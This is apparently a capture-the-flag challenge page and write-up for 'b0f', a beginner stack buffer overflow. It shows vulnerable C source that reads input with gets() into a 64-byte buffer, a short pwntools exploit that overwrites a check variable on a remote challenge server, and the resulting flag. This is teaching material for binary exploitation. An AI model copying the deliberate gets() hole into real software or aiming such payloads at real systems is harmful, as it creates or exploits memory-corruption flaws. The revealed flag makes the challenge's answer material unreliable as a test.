DESCRIPTION

                Buffer overflow 101. A straightforward stack smashing exercise — overflow the input buffer and take control of EIP/RIP. Your entry ticket to the world of binary exploitation.
            

DISASM // SOURCE

// b0f.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gets(char *s);

void vuln() {
    int check = 0xdeadbeef;
    char buffer[64];

    printf("╔════════════════════════════════════════════════════╗\n");
    printf("║            BUFFER OVERFLOW CHALLENGE               ║\n");
    printf("║        Can you overwrite the check variable?       ║\n");
    printf("╚════════════════════════════════════════════════════╝\n");
    printf("\nEnter your input: ");
    fflush(stdout);

    gets(buffer);   

    printf("\nCheck variable: 0x%x\n", check);

    if (check == 0xcafebabe) {
        puts("\n[+] Congratulations! You controlled the variable!");
        system("cat flag.txt");
    } else {
        puts("\n[-] Check failed");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();

    return 0;
}

WRITEUP // WALKTHROUGH

b0f — Writeup

Challenge Overview

Field	Value
Category	PWN
Difficulty	Easy
Points	50-100
Author	R3t0x
Technique	Variable Overwrite via Buffer Overflow

Reconnaissance

pwndbg> checksec ./b0f
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Vulnerability

int check = 0xdeadbeef;
char buffer[64];
gets(buffer);  // UNLIMITED input!
if (check == 0xcafebabe) {
    system("cat flag.txt");
}

Classic gets() overflow. The check variable sits directly above buffer on the stack. We overflow 64 bytes of buffer + overwrite check with 0xcafebabe.

Exploit

from pwn import *
io = remote('35.159.81.154', 7004)
payload = b'A' * 64 + p32(0xcafebabe)
io.sendline(payload)
io.interactive()

Result

Check variable: 0xcafebabe
[+] Congratulations! You controlled the variable!
Securinets_fst{d4ddy_1_ju5t_pwn3d_4_b0f}

EXECUTION // EXPLOIT

$ python3 solve.py